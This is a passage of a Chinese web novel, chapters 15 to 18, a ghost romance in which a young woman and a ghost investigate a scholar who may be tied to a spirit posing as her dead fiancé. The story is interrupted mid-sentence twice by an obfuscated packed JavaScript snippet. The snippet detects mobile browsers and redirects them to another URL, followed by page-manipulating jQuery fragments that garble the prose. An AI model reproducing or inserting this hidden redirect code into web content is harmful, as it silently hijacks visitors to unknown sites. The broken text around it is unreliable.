这里只剩下她们一人一鬼,自然不必再沉默。桥妧枝却没什么心力,只道:“我想在这里呆一会儿。” 沈寄时便也在这里陪着她,他们谁都没有说话,就在这如同暗室一般的马车中彼此相伴。 这条巷子往来行人稀少,大多时候都十分安静,只偶尔有人路过,倒也来去匆匆。 沈寄时看着她,突然觉得于他而言,生死好像都不重要了。 “女郎。”他伸手,眉眼罕见地温柔,“可否借绒花一用?” 桥妧枝没动,仿佛根本没有听见他的话。但是她们距离的那样近,近到他能听到她的呼吸,她又怎么会听不见他的声音。 于是他没动,只静静等着。或许她不会回应,又或许他要等许久才能得到回应,只是无论结果如何,他始终没有收回自己的手。 好在少女总是容易心软,并未让他等多久,便抬手摘下发间淡黄色的绒花,放进他掌心。 沈寄时垂眸看着掌心这小小的一朵花,低笑一声,轻轻合上手掌。 “桥姑娘。” 他出声,掌心再次摊开时,那朵半开的绒花在他掌心缓缓盛开。周遭有点点银光汇聚而来,化作银蝶悬落在绒花之上。 桥妧枝看呆了,下意识去碰银蝶,却不想下一瞬,银蝶挥动翅膀,落在她的指尖,讨好般在她指腹蹭了蹭。 少女低头看着,漂亮的眸子溢满星光。 只是彩云易散琉璃脆,银光最终还是在少女掌心消散。 桥妧枝看着最后一点星光飘远,忍不住问:“这些是什么?” 他道:“月华。” “月华......”她低低重复了一遍,眼波流转,突然道:“沈郎君,你能否闭上眼睛?” 一个女子对刚认识不久的郎君说这样的话实在是有些唐突,可沈寄时只看了她一瞬,便缓缓闭上了眼睛。 光线昏暗,桥妧枝看着眼前这张完全陌生的脸,看了许久,却在上面寻不到半分沈危止的影子。 她缓缓抬手,指尖停留在他眉骨一寸处,却始终不敢再近一步。 无人打破这一处寂静,直到马车外响起长靴踏过青石板的脚步声。 “不知马车内可有人?” 说话之人语调温和,声音入耳,令人如沐春风,“小生张渊,在马车外拾到一只耳坠,不知阁下可认得这耳坠的主人?” 15. 第 15 章 此处安宁骤然被打破,沈寄时倏然睁眼,对上少女那双水润的杏眸。 “女郎,时辰到了。” 桥妧枝垂下手臂,将他掌心的绒花重新插回发间,全然不理外面的说话的郎君。 晌午已过,日渐西移。 身穿青色儒袍的书生立在日光下,岿然不动。 许久无人应答,张渊再次开口,“小生没有别的意思,只是这耳坠华贵,小生不敢随便处置,若是车内有人,可否出来辨认一番?” 他似乎笃定车内有人,固执地等人出来相见。 又不知过了多久,车帘内缓缓伸出一只白皙纤细的手。那手骨节分明,根根如葱,犹如凝脂白玉,一看便是属于女子的手。 张渊眸光深远,面不改色,只是捏着耳坠的指尖微微用力。 桥妧枝原本不准备露面,无奈对方烦不胜烦,只好出来将人打发走。 她将车帘掀开一角,确保烈阳不会照到身侧的之人,这才看向立在外面的热心郎君,却不想这一看,她当即怔在原地,心中掀起惊涛骇浪。 “女郎。”张渊见她不语,轻笑一声,摊开手掌,露出掌心的翠色云纹耳坠,“不知女郎可识得这耳坠?” 桥妧枝稳下心神,看向他手中耳坠,道:“这是我母亲的耳坠,兴许是刚刚掉了,多谢郎君归还。” “既然是令慈的,那张渊便物归原主了。” 青年缓步上前,将耳坠放在马车的横梁上,不曾想一弯腰,别在腰间的短笛突然滑落,顺着马车的坡度,缓缓滚到桥妧枝裙边。 四周一静,青年面上露出一丝窘迫,温声道:“女郎可否将竹笛归还?” 桥妧枝看着裙边的短笛,目光落在书生颊边的黑痣上,问:“郎君会吹笛?” 青年叹了口气,“只是喜欢,吹得不好,甚至称得上难听。” 桥妧枝点了点头:“倒是很像我一个故人。” 她拾起地上的短笛递还过去,在他接过的瞬间突然问:“我见郎君很是眼熟,郎君之前可曾见过我?” 青年接过短笛的手一顿,神色坦然:“未曾。” 待青年男子远去,马车内的沈寄时幽幽开口:“女郎,你已看许久了。” 桥妧枝回身看他,深色认真:“郎君那日在沈府所见的生魂,是这番模样吗?” 沈寄时看着她,一字一句道:“别无二致。” — 桥府今日气氛有些压抑,家中奴仆都知夫人与女郎起了争执,两人晚膳都未曾吃,独留桥大人一人对着几碟清汤小菜长吁短叹。 桥妧枝将自己关进屋子,在宣纸上一笔一画的写下张渊的名字。 “张渊应当是今年的举子,我曾从我爹那里听到过这个名字。” 她凭借记忆努力回想,“我爹曾夸赞他的文章针砭时弊,一针见血,是不可多得的人才,明年春闱,定然能够拔得头筹。” 可就是这样一个初到长安的举人,怎么会变成生魂出现在沈府呢? 桥妧枝抿唇,“沈郎君,你说这样一个人,当真是那晚冒充沈寄时的生魂吗?” 沈寄时本就心不在焉,听她叫自己,视线方才从宣纸挪到她脸上,给了个模棱两可的答案:“可能是,也可能不是……” 这说与不说又有什么区别? 桥妧枝语塞,放下宣纸,一把捞起脚边喵喵乱叫的小花抱进怀里。 此时正逢黄昏,日月交替,东方渐暗,西边还留有浅淡的余白。 日落的余晖洒在少女身上,为她披上一层朦胧光晕,沈寄时立在她身侧,看着她的神色格外专注。 有一瞬间,仿佛时间回溯,他们一同回到了许多年前。 也是今日这般,落日的余晖映在屋檐,她抱着狸奴在窗下逗趣儿,十六岁的沈寄时则用书盖着脸,仰躺在她身侧装睡。 当时只道是寻常...... 沈寄时回神,眼看着苍穹缓缓归于黑暗,突然想到什么,缓步出了房间。 随着最后一点余晖落下,桥妧枝将小花放下,眨了眨眼,突然觉得一阵晕眩。 七月末,残月如钩,长安城内鬼气森森。 临近子时,酆都大门即将关闭,鬼魅疯了一般游荡在城内,或是嘶吼或是哭嚎,吵闹声好似要冲破长安。 人一共有三把魂火,桥脉脉如今只剩额头一把,最易招惹鬼怪欺身。今日又逢鬼门关闭,难保没有不怕死的前来一试。 沈寄时一身匪气立在院中央,别在腰间的折扇早就已经化成一柄长枪,月光照在锋利的枪尖,泛出摄人的冷光,将一切声音隔绝在外。 无论生前死后,沈小将军从来不是好相与的人,哪怕是孤魂野鬼,也没鬼愿意来触他霉头。 除了一只不通人事的小狸猫。 小花从屋檐上跳下,慌乱奔至他身边,妄图用牙齿撕扯他衣袍,可却扑了个空。它急地喵喵乱叫,在他身边不停围绕,看起来格外焦躁。 沈寄时意识到什么,猛地看向桥妧枝紧闭的房门,心下一沉。 — 桥妧枝烧得有些糊涂了。 没了肩头两把魂火,每到百鬼夜行之际,阴气一冲,她便会发烧。不同于上次发热时大梦一场,这一次,她似乎陷入了经年噩梦中,不断呓语出声。 一只冰凉的手落在她额头,桥妧枝强撑着睁开眼,却发现眼前一片模糊,看不清身边之人的面容。 她以为自己尚在梦中,下意识问:“沈寄时,是你吗?” 坐在身边的人没出声,可额头上那双手却突然颤了一瞬。 一切尽在不言中,她伸手攥住额头上那只手放到自己脸颊上,低声道:“沈寄时,我找了你好久。” 沈寄时,我找了你好久。 她应当是有很大的怨气,所以每次见他第一句,总是要先告诉他,她找了他很久很久。 沈寄时指尖在她鬓角轻轻摩挲,声音沙哑:“对不起,总是让你找那么久。” 桥妧枝抿唇,很是委屈。 她觉得头很疼,嗓子也很疼,浑身都很疼。她其实知道自己不应当再说话,可她有很多话想说,忍不住继续往下说。 “沈寄时,你的棺椁被抬回长安那日,我正在绣嫁衣。郁荷姐姐跑来告诉我时,我还以为她在与我开玩笑,生了好大的气。后来阿娘也慌慌张张跑过来,和我说你战死了,我还是不信,非要自己去看看。” “那天我冲到朱雀大街上,隔着很远就看到回京军队上的白幡,我一路跟在白幡后面跑,街上人太多了,我挤不进去,一点都挤不进去。很多人都在哭,可是我哭不出来,总觉得躺在棺椁里的人不是你。” 她似乎难受极了,却还在说:“我一路跟着棺椁进了兴宁坊,穿过我们常走的那个巷子,眼睁睁看着棺椁被抬进了沈府,沈萤趴在上面哭。我想进去,但是被阿婆拦住了。阿婆说,我已经和你退婚了,既然如此,还是不要进你的灵堂,以免毁我清誉,她说,我以后还是要嫁人的。” 沈寄时声音哑得不成样子,“是,脉脉以后是要嫁人的,最好子孙满堂,福寿绵长。” 桥妧枝没出声,她不太喜欢这句话,想要和他生气,但是又有些舍不得。她们以前好像生了太多的气,吵了太多的架,一下子就把后半生的架都吵完了。 她其实有很多话想要和沈寄时说,比如他们退婚的事,又或者其他。可是她实在是太难受,难受到身上的骨头如同被打碎重组,实在没有力气再说话了。 她紧紧攥着他的手,渐渐安静下来,迷迷糊糊中,似是陷入了更深的梦境。 沈寄时没有抽回手,他用没有被少女攥着的那只手为少女掖紧被角,却不想在她枕下摸到一块方形软玉。软玉质地极好,却并不光滑,上面布满裂纹,似被人摔碎后又重新粘好。 那是他们的结亲玉佩。 — 承平二十七年冬,长安大雪。 彼时,大梁迁回长安已有将近两年光景,可故土虽归,却远没有众人想象中的那么好。那场长达数十年的盛世已经成为了遥远的过去,长安再也不复昔日繁华,如同一个行将就木的老人,拖着身上的李氏王朝缓缓向前走。 那场雪一下就是七日,城中大街小巷全被一层厚厚冰雪覆盖,行人稀少,放眼望去,只有一辆简陋的马车在冰雪上缓缓前行。 桥妧枝便在这辆马车上。 朔风呼啸,马车上的暖炉在这刺骨的寒冷中仿佛成了摆件。 桥妧枝裹着兽皮制成的大氅,低声催促驾车的马夫,“可否再快些?” “女郎,已经是最快,再快下去,马车就要翻了。” 闻言桥妧枝不再催促,只抱着暖炉望着外面的大雪出神。 七日前,长安城内出现一队东胡刺客,刺客在众目睽睽之下一箭射杀当今太子,又慌忙逃出城外。 不巧,那日正好是沈寄时当值。 沈氏满门忠烈,沈寄时父母更是皆被东胡人所杀,早就对东胡恨之入骨,当即便单枪匹马追了上去,只是这一追,便是七日未归。 昨天夜里,她做了一个梦,梦中沈寄时手持止危枪满身鲜血跪在地上,胸前被箭矢射穿,死在了长安城门处。她几乎一下子就被惊醒,醒来后的第一件事便是马不停蹄地往城外去。 雪地难行,马车走了许久才能遥遥望见城门。 越往城外,地上积雪越厚,马车几乎以一种近似静止的速度向前行。 桥妧枝急出了一 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他拍了拍身边的马,道:“女郎上马,本皇子带你出城。至于沈寄时,这人祸害遗千年,女郎大可不必担心,不过是几个东胡人,还要不了他的命。” 桥妧枝呼出一口气,感激道:“多谢十二皇子。” 李御摆摆手,将她带到城门处,这才带着人马继续赶路。 城门外没有沈寄时,更没有沈寄时的尸体,桥妧枝立在城门下躲雪,缓缓舒了一口气。 她没有立即往回走,心想兴许等一等就能将人等回来,却不想这一等便是一整日。 临近黄昏时,守城的将士都已经换过一轮,她却还是没有看到熟悉的身影。 想来今日是更不到了,她失落敛眸,走到昏昏欲睡的马夫身边轻声道:“我们回去吧。” 将已经凉透了的暖炉放进马车,桥妧枝登上马车,忍不住回头又往城外看了一眼。 也正是这一眼,她看到远处天地交汇处,缓缓行来一人一骑。 沈寄时一手握着缰绳,一手负枪,慢悠悠地往回走。 他浑身是血,衣服上的血迹有的已经干涸,有的还略显鲜艳,仿佛从血池子里滚过一遍。 桥妧枝怔怔看着他,突然想到,距离他们上一次见面,已经一月有余了。 上一次依旧是不欢而散,好像自从回到长安之后,他们总是因为各种事情吵架,平和相处的时日少之又少。 她算了算,好像一只手都能数过来。 可是这怨谁呢? 桥妧枝看着熟悉的背影越走越近,薄唇慢慢抿成一条直线。 沈寄时一直低着头,骑马骑得心不在焉,直到接近城门时,他突然听到一句脆生生嗓音在喊他的名字。 他猛地抬头,一眼对上了少女通红的眸子。 缓缓勒住缰绳,他看着城门处的桥妧枝,心潮澎湃。少女乌黑的头发已经堆满了雪花,也不知道在这里等了多久。 少年心绪滚烫,翻身下马,一瘸一拐地向少女走去。他似乎是受了很严重的伤,每走一步,唇色便苍白一分。 桥妧枝脸色越来越难看,等他走近,突然冷声道:“沈寄时,好玩吗?” 沈寄时脚步一顿,立在原地,没有说话。 “让人担心好玩吗?”桥妧枝双目通红,说出来的话却咄咄逼人,“你怎么总是这么莽撞,以前是这样,现在还是!你知不知道我会担心,沈萤会担心,阿婆也会担心?” 紧张了一天的情绪在见到沈寄时的瞬间突然爆发,桥妧枝说话时指尖都在微微颤抖。 “有什么好担心的!”沈寄时眸中的温度冷下来,“我一个人就可在东胡军队中杀个来回,如今不过是区区几个东湖人,还不是被我悉数斩杀?” 区区几个东胡人? 总是这样,每次都是这样。 桥妧枝看着他,少年立在雪中,清俊脸上满是冷意。 少年人总是带了几分冲动,她怒火中烧,一把扯下挂在腰间的玉佩,沈寄时,我们退婚吧!” 沈寄时浑身一震,下颌紧绷:“你说什么?” “我们退婚吧!”少女双目通红,激动不已:“我再也不想和你争执下去了,我们退婚,我不管你,永远都不管你!以后你是死是活,都与我无关!” 沈寄时看了她一会儿,突然翻身上马:“随你,退婚就退婚,你别后悔!” 他说完,调转缰绳就走。 桥妧枝立在雪中,被气的掉眼泪,拿起玉佩向他砸去。 玉佩落地,顷刻间,四分五裂。 16. 第 16 章 子时的更声响起时,长安城内鬼魅嘶嚎声便如同潮水般褪去。 七月已过,桥妧枝睡得依旧不太安稳,可身上的温度却已经慢慢降下来。 沈寄时纹丝不动任由少女握了许久,冰凉的手几乎要被她滚烫的脸颊染上温度。 鬼魅入黄泉,周遭寂静,小狸花猫跳上床塌,蜷缩在少女身边,用长长的尾巴搭在少女脚腕。 残月清辉,隐隐照进床榻。沈寄时神色晦暗,那张向来意气风发的脸上多了几分颓然。 彼时太过年少气盛,将赌气看得比什么都重要,而今方知,年少情重,生死皆苦。 — 长兴坊内一座稍显破旧的宅院中。 屋内未点灯,青衫男子坐在桌案前,一动不动,仿佛寺院中陈放了多年的泥像。 一只蜘蛛从角落中爬出,顺着男子垂落在地的衣角向上爬,最后停留在他撑在桌面的指尖上。 恰在此时,子时更声响彻长街,清晰传入这处偏远的宅院里。 孤坐在案前的男子在听到这更声时候骤然周身一松,仰倒在木椅上,哼笑出声。他笑得断断续续,明明在笑却似哭。 良久,笑声停止,屋内灯亮起,照亮这一处简陋的房舍。 木门恰在此时被敲响。 “张郎君,我家将军邀您入府一叙。” 来人说话虽客气,可语气中的轻蔑却丝毫不加掩饰。 张渊神色不变,缓缓起身。他看了一下手上的小蜘蛛,轻轻取下又冷冷瞥了一眼,“弱小的生灵总以为自己能凭借努力爬到他人的头上,殊不知,别人的一根手指就能将之捏死。” 说完,毫不留情将之投进油灯里。 烛火很快飘起一缕轻烟,张渊整理了一番衣袖,声音不咸不淡:“军爷稍等,张渊这就来。” — 桥妧枝醒时天还未亮,窗外轻枝摇晃,合欢树的枝叶被风吹进屋内,带起一阵清香。 她发了好一会儿怔,忍不住唤:“沈寄时?” 等了许久无人应答,她又道:“沈寄时,我有些口渴……” 依旧无声,她后知后觉反应过来,昨晚的一切,好像都是一场梦。 黄粱一枕,南柯一梦,梦里梦外,真真假假,有时她也分不清。 她发了好一会儿呆,直到晨光熹微,才走到窗边看向庭院中央。 白衣郎君立在树下,正微微仰头看着远方熹微。 马上就要天亮了,日光下,鬼魅无所遁形,他要赶在日头升起时躲到一个阴暗潮湿的地方。 好在,他还可以在日月交替间感受短暂的曦光。 她默默看了好一会儿,才出声唤道:“沈郎君。” 树下之人缓缓回头,“女郎今日起得早。” 她今日神采熠熠,想来酆都鬼门一关,长安城内阴气消退,她身体已经大好了。 “昨天夜里也不知怎得,断断续续做了很多梦。”桥妧枝眨了眨眼,“睡得不算好,早早就醒来了。” 她还不知道自己昨夜发了热,只以为是没有睡好。 沈寄时眸光闪烁,也未曾多说,只缓缓走到少女面前,询问:“女郎梦到了什么?” 桥妧枝唔了一声,说:“我梦到了沈寄时。” 她目光定在对面人的脸上,见他没什么反应,方才垂下眸子道:“我梦到他坐在我身边,听我说了很久的话。” 沈寄时便问:“女郎要找的那个人想必很好?” “什么?” “我是说,能让女郎记挂那么久,那人必定是温润如玉的谦谦君子,对女郎好,从不惹女郎生气,也只有这样,方才让女郎记挂这么久。” 桥妧枝怔了怔,喃喃道:“他……他应当称不上温润如玉的谦谦君子,也总是惹我生气……” “哦?”沈寄时折扇一开,摇了摇头,“那这个人当真不值得女郎记挂,我若是女郎,不止不会招魂寻他,还会将他的东西都丢了,最好忘得干干净净,再寻个好郎君,往后岁岁欢愉,将这个人抛到九霄云外去。” 桥妧枝静静听他说,等他说完,也不生气,只摇头:“沈郎君,值不值得不是这样定义的。他虽不是谦谦君子,但却不欺暗室。他骁勇善战,东胡之乱时他才十二岁,就沿路救了很多人。他虽然桀骜不驯,有时候会冲动,但遇到事情总是会挡在我身前。他确实总会惹我生气,但是我也知道,他是因为报仇心切。” 所以虽然他们总是起争执,她也从未真的觉得他哪里不好。 只是,知道是知道。人总是格外复杂,即便她知道,也会生气,也会与他起争执,也会气急之下摔碎玉佩。 听着她的话,沈寄时仿佛在一瞬间被抽干了力气,被牢牢钉在了原地。 沉默间,身后突然传来敲门声。 “女郎可醒了?” 郁荷的声音自门外响起,带着些小心翼翼地试探。 桥妧枝回头,“已经醒了。” 房门被人轻轻推开,郁荷看到她立在窗前,连忙跑过来将窗户关上,急道:“女郎就算与夫人赌气也不能这样糟践自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483191|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的身体,清晨风凉,生病了怎么办。” “我没有赌气。” 她当真没有赌气,若真的论起来,也是阿娘在与她赌气。 郁荷却是不信,将窗户一锁,全然不知自己将一只鬼隔绝在门外。 “女郎。” 郁荷垂下脑袋叹了口气,不敢回头看她,“其实,夫人让我叫您去前堂。” 她声音又低又小,却还是清晰传入桥妧枝耳中。 她意识到什么,微微抿唇:“叫我去前堂做甚?” 郁荷头垂得更低,声音嗫嚅:“吏部尚书家的冯郎君一早前来拜访,夫人让您去见客。” 见客?见得什么客?即便是什么都不说,见客之人与被见之人也大体是明白的。 桥大人珍藏在库中的上好白毫银针被沸水滚过,顷刻间便散发出醇厚的鲜香。 桥妧枝心不在焉抿了口茶,鸦羽般的长睫垂下,不去看坐在对面的冯梁。 冯梁开口:“昨日因要等家母,未曾亲自送伯母与女郎回来,实在是有失礼教,今日特地前来赔礼道歉。” 是来道谢还是醉翁之意不在酒,众人看得分明。 桥夫人笑笑,却不显热络,客客气气地与他寒暄。 冯梁时不时看向坐在一旁走神的桥妧枝,终于忍不住清了清嗓子道:“今日前来还有一事,听闻长安众举子今日要在朱雀大街斗诗,其中一位名叫张渊的举子才华横溢名声很响,不知女郎可否赏脸,与某一同去看看?” 张渊两个字瞬间吸引了桥妧枝的注意力,她将视线从漂浮在水中的茶叶移到年轻郎君的脸上,微微蹙眉。 桥夫人见她不说话,正要开口婉拒,却听少女问:“长安众举子在朱雀大街斗诗吗?” 桥夫人诧异看向她,心中不由得波澜横生。 难不成,脉脉其实对冯家这位郎君也是有好感的? 冯梁更是大喜过望,猛地站起,激动道:“没错,就在朱雀大街,某一早便派人订好了周遭茶楼的绝佳位置,女郎不如与某一同前去。” “不必了,我自己去便可。” 桥妧枝冲他笑笑,话却果断:“郎君明年就要弱冠,京中女子属意郎君的不在少数,我与郎君不过旧友,还是不要徒增误会为好。” 冯梁一怔,张了张唇,想要说什么,可看着少女那无比真诚的神色,又什么都说不出来了。 即便不愿意承认,他却也明白,桥家的这位女郎,与那位逝去的沈小将军当真是天生一对,当真是,半分面子也不给…… 17. 第 17 章 八月伊始,鸿雁来,玄鸟归,长安好似一夜之间变得凉爽。 桥妧枝立在窗前向下望,却见朱雀大街人头攒动,很是热闹。只是,这些人却并不是来看文人斗诗的。 长街喧闹,长安禁军押送着七八个书生模样的青年往京兆府方向走去。那些书生看起来不过弱冠之年,一个个却胆大包天,在诗会上公然作诗讽刺朝廷不作为,任凭长安大旱,百姓收成锐减,家家老幼哭无收。 诗是一个时辰前写的,人是一炷香之前抓的。奉命抓人者是抚军中郎将周季然,也就是打马走在最前方的那位将军。 桥妧枝与周季然并不相熟,蜀州六年外加长安三年,他们虽然有过数面之缘,可真论起来也不过是点头之交,不曾说过几句话。后来沈寄时出事,她未曾再去过军营,便再也没有见过这位周将军。 桥妧枝不愿再想,看向身侧的沈郎君,无奈道:“今日又是白来一趟,未曾找到要找的人。” 谁知一个简单的诗会竟闹出这么大动静,还出动了禁军。以前只抓些茶楼酒肆中胡扯闲谈的百姓,如今抓了这些书生,长安城内怕是再无人敢说圣上的半点不是。 可是,以前不是这样的。 东胡之乱以前,圣人称得上明君,任人唯贤,广听谏言,无论文臣武将,皆愿“提携玉龙为君死”,大梁因此享有数年盛世。 禁军已经押送那群书生消失在长街拐角,沈寄时收回目光,“长安已经许久未曾下雨了吗?” 桥妧枝道:“自春分始,已有半年未曾落雨。去岁冬日只零星落了几场小雪,上半年百姓收成也堪堪只够温饱。后来朝廷也曾断断续续放了许多粮,可对百姓而言,不过是杯水车薪。” 老天爷不下雨,即便是钦天监都没有办法,旁人又能做什么呢? 只是如今内忧外患,沈家军全军覆没,谁也不能保证,大梁不会第二次被胡人赶出长安。 沈寄时沉默良久,看着窗外琼楼玉宇,道:“女郎,我们该回去了。” 人没有找到,自然也没有留下来的必要了。 他说完,率先向包厢门外走去。 这是他第一次走在她前面,桥妧枝看着那与沈寄时没有半分相似的背影,微微出神。 沈寄时走到门前却发现少女未曾跟上来,不由得回头,“女郎?” 桥妧枝回过神,抱起桌案上的竹伞快步走到他身边,“沈郎君,我们走吧。” — 桥妧枝撑伞走出酒楼时,与一人擦肩而过,蹭掉了那人提在手中的书。 书本洋洋洒洒落了一地,桥妧枝较忙忙蹲下身子去拾。 她将地上的书一一摞好,起身时,却听一道温润的男声响起:“原来是女郎,好巧。” 桥妧枝抬头,看到立在身前的青衣郎君,捏在书籍上的指尖微微用力。 当真是巧,原本以为今日又是白来一趟的。 只是巧合一多,就显得不像巧合了。 张渊接过她手中的书,轻笑道:“想不到会在这里见到女郎,相逢即是有缘,不知可否邀女郎进去喝一盏茶。” 眼前人年岁不大,明明是书生,却没没什么书生的羸弱气质,反而带着股洒脱不羁。 桥妧枝目光落到他手中的书籍上,又眸光轻转,看向他颊边的黑痣,“好。” — “我少时本想习武,报效朝廷,奈何家境贫寒,身子亦不大好,只能拘在学堂里。好在书读得尚可,如今能来到长安参加明年春闱,也算另一种报效朝廷。” 张渊笑着续上一杯茶,摇了摇头,“只可惜如今江山风雨飘摇,读书人所能做的事少之又少。论英雄豪杰,还是要看那些征战沙场的勇猛将军。” 桥妧枝看着摆在最上面的几本兵书,眸光微闪,道:“这便是郎君买这么多兵书的缘由吗?” “虽不能上战杀敌,但多读些兵书也算是聊以慰藉。” 兵书...... 一个读书人,竟喜欢看兵书。 桥妧枝道:“郎君有鸿鹄之志,虽不能上战杀敌,若是明年春闱能拔得头筹,也可为国效力。” 张渊对上桥妧枝的视线,先是一怔,随后有些慌乱地别开眸子,报赧一笑:“女郎高看。” 话音刚落,酒楼小厮便端过来一碗笋尖鸡丝面。面条刚出锅,上面还飘着热气,鸡丝铺了厚厚一层,上面加以葱花点缀,煞是好看。 张渊皱眉,唤回小厮,温声道:“劳烦,可否将葱花剔去?” 桥妧枝握着茶杯的指尖一紧,忍不住抬眼。 小厮看了一眼,为难道:“这位郎君,葱花难剔,您看您能否将就一下,今日原本有斗诗会,小店人多,后厨忙不过来。” “如此。” 张渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503459|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并未为难,将小厮放走,却也没有再动那碗鸡丝面。 桥妧枝收回目光,缓缓站起,抱起竹伞,道:“多谢郎君的茶,时候不早,我便先行离去了。” 张渊连忙站起,目光灼灼看着她,道:“也不知下次何时能见,某送女郎。” 桥妧枝没有推拒,离开时,她长袖拂过桌案上的书,扫了一眼,却见压在兵书下压着的,是一本前朝文人列传。 再次踏出酒楼门槛时,朱雀大街围观的众人已经散去,沿路摊位的叫卖声此起彼伏,长安还是那个长安。 “沈郎君。”桥妧枝目不斜视,与他道:“那个张郎君,你有看出什么不对劲的地方吗?” 沈寄时道:“他看不到我,身上也不崩沾染阴气,是个再普通不过的人。” 桥妧枝穿过长街,走进一个偏僻小巷,见周围没人,这才转头看向身侧鬼魅,犹豫道:“沈郎君,我觉得他,有些像一个人。” “谁?” 桥妧枝没有立即出声,而是看了他一会儿,低声道:“他的某些习惯,很像沈寄时。” 四周一静,高高的屋檐遮挡住穹顶的阳光。 桥妧枝握着伞柄的手出了一层细汗,她道:“沈郎君,你可能不知道,沈危止他很喜欢吹短笛,可是却吹得并不好听。他不爱读书,却很喜欢看兵法。他并不挑食,我们在蜀州避难的那些年,朝廷很穷,最开始的时候,我们连树皮磨成的粉都吃过,但他却从不爱吃葱花......” 她声音越来越轻,说到最后,薄唇抿成一条直线,眉眼坚定,“如果不是那日遇到过假扮沈寄时的生魂,我或许会觉得这一切都是巧合。但是如今,沈郎君,无论如何,我都要调查到底。” 小巷位于酒楼墙后,人烟稀少。若是有人在这时闯进来,定然能看到一个窈窕少女正撑伞对着空荡荡的墙面说话。 沈寄时看着她格外坚定地目光,仿佛看到了一只云雀立在山巅,渐渐舒展羽毛变成了一只雌鹰。 他敛眸,接过少女撑在手中的竹伞,问:“女郎觉得应该从何处查起?” 桥妧枝蹙眉,想到什么,“沈郎君,人在什么情况下,会生魂离体?” 沈寄时脚步一顿,看着高处明日,目光深远,回答道:“受到惊吓,亦或是通过术法……还有……” “还有什么?” “被人夺舍。” 18. 第 18 章 暗香浮动,桌角处落了几段香灰,龙涎香不知不觉已经烧到了尽头。 紫宸殿内庄严又肃穆,光阴流转,同样的位置,坐在龙椅上的人青丝变华发,不知不觉间竟已垂垂老矣。 跪在地上的将军没有抬头,却不可避免地想到第一次与这位创造了盛世又毁掉盛世的帝王的初见。 彼时的帝王正值壮年,细细想来,距今不过十年光景。 守在一旁的老太监上前将香灰收走,小声提醒:“陛下,抚军中郎将来了。” 坐于上位的老者徐徐睁开龙目,浑浊的眸子落在周季然身上,“别跪着了,说说吧。” 周季然起身,依旧没抬头,“启禀陛下,今日在朱雀大街共抓获六名儒生,这些人对自己的罪行供认不讳,如今皆已下狱,不日便会流放岭南。” 等了很久,高高在上的圣人才缓缓施舍出一个嗯字。 周季然没有动,却听那到浑厚而苍老的声音问:“昨日,朕突然想起了许多在蜀州的事。朕记得第一次见你的时候,你跟在裴雲身边,瘦得就像是地里的麦杆,风一吹就能倒。” “臣是被裴将军从死人堆里救出来的。” “东胡之乱时,裴雲救了许多人,但是只有你留下来了。”圣人闭目,似想到了什么,道:“你那时候,阴郁沉闷,最喜欢跟在沈寄时身后跑。后来,朕记得你跟着沈家一路征战,从蜀州打回长安,又从长安打到冀州,这么一晃,竟好多年了。” 周季然抿唇,“沈家于臣,一直有恩,从不敢忘怀。” 圣人没再说话,过了许久,才问:“许久没见十二了,他从洛阳回来了吗?” 周季然:“还未,兴许下个月,十二皇子便能从洛阳回来。” 圣人点头,不再动了。 等了许久,紫宸殿内响起轻微的鼾声,周季然错愕抬头。 老太监冲他摇了摇头,周季然低头,眸中闪过嘲讽,一点一点退至殿外。 紫宸殿的大门在身后缓缓合上,周季然仰头,看到鸹鸟落在屋檐上,明日将之圈在其中。 仿佛是注意到了他的目光,鸹鸟抖了抖身子,展翅飞走。 桥府门前,沈寄时看着突然落在高处的鸹鸟,漫不经心移开目光。 长安多鸹鸟,家家屋檐都会落上几只,倒也见怪不怪。 桥府大门微微敞开,原本应当立在门前的家丁却不在。 桥妧枝在踏进桥府时便敏锐地察觉到不对,她心一沉,飞快地走到前堂,却见那些家丁站在院中,皆低着头不敢言语。 郁荷低头站在最中间,看到桥妧枝撑伞而来,下意识咬唇,冲她摇了摇头。 她大概是想要叫女郎的,只是话还未出口,便生生吞了回去,只能一脸担忧地望着她。 桥妧枝意识到什么,捏着伞柄的指尖微微发紧。 “沈郎君。”她深吸一口气,对身旁的鬼魅道:“一会儿无论发生什么,都是我的事情,与沈郎君无关。” 沈寄时皱眉,没有出声。 桥妧枝就当他是答应了,将伞收起,快步往自己的小院中走去。 离开时院门紧闭,再次回来,就已经完全敞开。小花窝在她院中的合欢树下紧张地摇晃尾巴,甫一见到她,便冲到她裙角边,试图用自己的尾巴圈住她。 桥妧枝并没有如同往常一样将它抱起,而是缓步走到房门前,对着正背对她的妇人唤道:“娘........” 桥夫人背影一僵,没有回头。 桥妧枝抿唇,看到自己被翻得杂乱无章的屋子,微微敛眸,一言不发,只蹲下身子去拾散落在地上的书。 “桥妧枝。” 桥夫人的声音在一旁响起,带着刚刚哭过的沙哑。 她将袖中书丢到她面前,声音颤抖,“这是什么?” 桥妧枝张了张干涩的唇,“书。” “什么书?”桥夫人咬牙,猛地站起,怒斥道:“你以为你不说阿娘就不知道吗?这些都是招魂的书,你平日里整日去书局,看的都是这些东西吗?汉武帝都做不到的事情,你以为你能做到?” 桥妧枝抿唇,抬眸看着盛怒下的桥夫人,缓缓道:“阿娘,这只是一些书。” 